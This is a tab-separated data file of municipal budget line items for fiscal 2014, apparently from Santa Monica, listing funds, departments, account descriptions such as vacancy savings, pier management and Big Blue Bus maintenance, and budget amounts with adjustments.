12165	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	542210.0	PUBLICATIONS	804.0	 Supplies and Expenses	2014	182291.0	0	0	0	0	0	0.0	0	0	0	0	0.0	182291.0
12166	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	198395.0	0	0	0	0	0	0.0	0	0	0	0	0.0	198395.0
12167	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	408150.0	ALT FUEL TAX CREDIT	662.0	Other	2014	-158150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-158150.0
12168	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-46616.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-46616.0
12169	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-46728.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-46728.0
12170	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-47770.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-47770.0
12171	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511900.0	VACANCY SAVINGS	840.0	Salaries and Wages	2014	-13134.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-13134.0
12172	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	1467929.0	0	0	0	0	22699	-817.0	0	0	0	0	0.0	1489811.0
12173	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	231990.0	0	0	0	0	0	0.0	0	0	0	0	0.0	231990.0
12174	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511749.0	VISION	816.0	Salaries and Wages	2014	2336.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2336.0
12175	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-34207.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-34207.0
12176	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	2663.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2663.0
12177	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
12178	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562155.0	PRESCHOOL-ERLY INT & VIOL PREV		 Supplies and Expenses	2014	71283.0	0	0	0	0	0	0.0	0	0	0	0	0.0	71283.0
12179	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563128.0	PARATRANSIT PROGRAM-GENERAL FD		 Supplies and Expenses	2014	93504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	93504.0
12180	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562432.0	SHP-ST JOE	810.0	 Supplies and Expenses	2014	63432.0	0	0	0	0	0	0.0	0	0	0	0	0.0	63432.0
12181	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	1444131.0	1444131.0
12182	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555397.0	11 UASI GRANT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	2121.94	2121.94
12183	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561147.0	ST. JOE HPSHP - HUD	810.0	 Supplies and Expenses	2014	21672.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21672.0
12184	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408250.0	AHPP COMP MONITOR-STARTUP FEE	622.0	Other	2014	-20000.0	0	0	0	0	0	20000.0	0	0	0	0	0.0	0.0
12185	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	3476.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3476.0
12186	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	4518.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4518.0
12187	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577300.0	PIER RESTORATION CORPORATION		 Supplies and Expenses	2014	694257.0	0	0	0	0	0	0.0	0	0	0	0	0.0	694257.0
12188	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	578420.0	POLICE PIER PATROL		 Supplies and Expenses	2014	405251.0	0	0	0	0	0	0.0	0	0	0	0	0.0	405251.0
12189	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	517500.0	0	0	0	3948	7563	0.0	0	0	0	0	0.0	529011.0
12190	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	99146.0	0	0	0	777	1500	0.0	0	0	0	0	0.0	101423.0
12191	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1025.0
12192	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	407780.0	FIBER OPTIC SERVICES	618.0	Rentals	2014	-1600000.0	0	0	0	0	0	-200000.0	0	0	0	0	0.0	-1800000.0
12193	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	5405.0	0	0	0	0	55	0.0	0	0	0	0	0.0	5460.0
12194	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	26266.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26266.0
12195	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY HALL	808.0	 Supplies and Expenses	2014	167550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	167550.0
12196	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY HALL	808.0	 Supplies and Expenses	2014	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
12197	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	25110.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25110.0
12198	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	6150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6150.0
12199	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	216.0	0	0	0	0	0	25.0	0	0	0	0	0.0	241.0
12200	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	1627.0	0	0	0	0	0	245.0	0	0	0	0	0.0	1872.0
12201	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	9932.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9932.0
12202	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
12203	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	50000.0	0	0	0	0	0	-20833.33	0	0	0	0	0.0	29166.67
12204	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	144633.0	0	0	0	0	0	0.0	0	0	0	0	0.0	144633.0
12205	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	80230.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80230.0
12206	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	8815.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8815.0
12207	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS TO 01-GLOW, PLGRND PRTNR	910.0	 Supplies and Expenses	2014	35600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35600.0
12208	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	14311.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14311.0
12209	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS FROM 04-GLOW, PLGRND PRT	908.0	 Supplies and Expenses	2014	-35600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-35600.0
12210	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2014	-40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40000.0
12211	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2014	-159075.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-159075.0
12212	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	410100.0	FIRE MISCELLANEOUS REVENUE	622.0	Other	2014	-20910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20910.0
12213	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400350.0	STATUATORY PASS-THROUGHS	602.0	Property Taxes	2014	-2014977.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2014977.0
12214	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404660.0	LIBRARY BOND TAX OVERRIDE	602.0	Property Taxes	2014	-1486350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1486350.0
12215	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410160.0	BLOCK PARTIES	612.0	Charges for Service	2014	-570.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-570.0
12216	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	404900.0	TMP FEES	612.0	Charges for Service	2014	-456167.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-456167.0
12217	B1	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	410200.0	PROGRAM INCOME	610.0	Intergovernmental	2014	-70000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-70000.0
12218	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	59945.0	0	0	0	0	0	0.0	0	0	0	0	0.0	59945.0
12219	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566920.0	YRT COLLABORATIVE		 Supplies and Expenses	2014	284000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	284000.0
12220	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	410270.0	AFFORD HOUSING LINKAGE CONTRIB	622.0	Other	2014	-21000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-21000.0
12221	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	967.0	0	0	0	0	0	0.0	0	0	0	0	0.0	967.0
12222	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	11823.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11823.0
12223	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	72.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72.0
12224	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544112.0	SIGNAGE		 Supplies and Expenses	2014	136376.0	0	0	0	0	0	0.0	0	0	0	0	0.0	136376.0
12225	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2014	250608.0	0	0	0	-150000	0	0.0	0	0	0	0	0.0	100608.0
12226	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2014	605.0	0	0	0	0	0	0.0	0	0	0	0	0.0	605.0
12227	B1	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577351.0	HOME VOUCHERS	816.0	 Supplies and Expenses	2014	560273.0	0	0	0	0	0	0.0	0	0	0	0	0.0	560273.0
12228	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402162.0	FILMING RECEIPTS	608.0	Licenses and Permits	2014	-36000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-36000.0
12229	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2014	47152.0	0	0	0	0	0	0.0	0	0	0	0	0.0	47152.0
12230	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	2200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2200.0
12231	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2014	124900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	124900.0
12232	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
12233	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545030.0	CULTURAL SUPPLIES	810.0	 Supplies and Expenses	2014	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
12234	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	1042.0	0	0	0	0	0	270.83	0	0	0	0	0.0	1312.83
12235	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	4823.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4823.0
12236	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	3802.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3802.0
12237	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	90000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	90000.0
12238	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2014	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
12239	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2014	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
12240	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522620.0	RENT	804.0	 Supplies and Expenses	2014	238811.0	0	0	0	0	0	0.0	0	0	0	0	0.0	238811.0
12241	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	569360.0	INNOVATIONS	804.0	 Supplies and Expenses	2014	16400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16400.0
12242	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	1040.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1040.0
12243	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	31222.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31222.0
12244	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY YARDS	808.0	 Supplies and Expenses	2014	45000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45000.0
12245	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406797.0	11 UASI GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-117866.0	-117866.0
12246	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	555397.0	11 UASI GRANT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	17244.0	17244.0
12247	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	10350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10350.0
12248	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	49200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49200.0
12249	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2014	4800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4800.0
12250	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	1910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1910.0
12251	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	10278.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10278.0
12252	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2014	10600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10600.0
12253	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-PSF	808.0	 Supplies and Expenses	2014	211261.0	0	0	0	0	0	0.0	0	0	0	0	0.0	211261.0
12254	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555920.0	SANTA MONICA SWIM CENTER	808.0	 Supplies and Expenses	2014	123000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	123000.0
12255	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2014	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
12256	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555140.0	PEST CONTROL	808.0	 Supplies and Expenses	2014	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
12257	B1	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-3140.0	0	0	0	0	0	0.0	0	0	3140	0	0.0	0.0
12258	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	15620.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15620.0
12259	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-2679.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2679.0
12260	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-10731.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10731.0
12261	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	3040.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3040.0
12262	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2014	3651.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3651.0
12263	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2014	413.0	0	0	0	0	0	0.0	0	0	0	0	0.0	413.0
12264	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2014	1104.0	0	0	0	0	0	25.0	0	0	0	0	0.0	1129.0
12265	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	345.0	0	0	0	0	0	0.0	0	0	0	0	0.0	345.0
12266	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1562.0
12267	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	2475.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2475.0
12268	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555015.0	OUTSIDE REPAIRS - BLDG MAINT		 Supplies and Expenses	2014	361123.0	0	0	0	-16319	0	0.0	0	0	0	0	0.0	344804.0
12269	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	13530.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13530.0
12270	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2014	24000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24000.0
12271	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561506.0	HOMELESS PREVENTION		 Supplies and Expenses	2014	39975.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39975.0
12272	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	119166.0	0	0	0	0	1764	2628.0	0	0	0	0	0.0	123558.0
12273	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2014	19500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19500.0
12274	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	4771.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4771.0
12275	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	185725.0	0	0	0	0	0	0.0	0	0	0	0	0.0	185725.0
12276	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555200.0	REIMBURSE ENGINEERING OFFICE	810.0	 Supplies and Expenses	2014	53393.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53393.0
12277	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	566260.0	SPECIAL EVENTS	810.0	 Supplies and Expenses	2014	43000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43000.0
12278	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511490.0	OVERTIME	810.0	Salaries and Wages	2014	39671.0	0	0	0	0	0	352.0	0	0	0	0	0.0	40023.0
12279	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522950.0	CNG FUEL	810.0	 Supplies and Expenses	2014	1150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1150.0
12280	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533211.0	FAC MAINT SVCS-WORK ORDERS	810.0	 Supplies and Expenses	2014	45000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45000.0
12281	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555011.0	CONT SERV/PLANT REPLACE/MIS SE	810.0	 Supplies and Expenses	2014	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
12282	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566190.0	EMPLOYEE EVENTS TEAM	804.0	 Supplies and Expenses	2014	31519.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31519.0
12283	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	804.0	Salaries and Wages	2014	314.0	0	0	0	0	0	0.0	0	0	0	0	0.0	314.0
12284	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561116.0	OPCC INTERIM HSG&WELLNS-PROP A	808.0	 Supplies and Expenses	2014	8350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8350.0
12285	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2014	-194419.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-194419.0
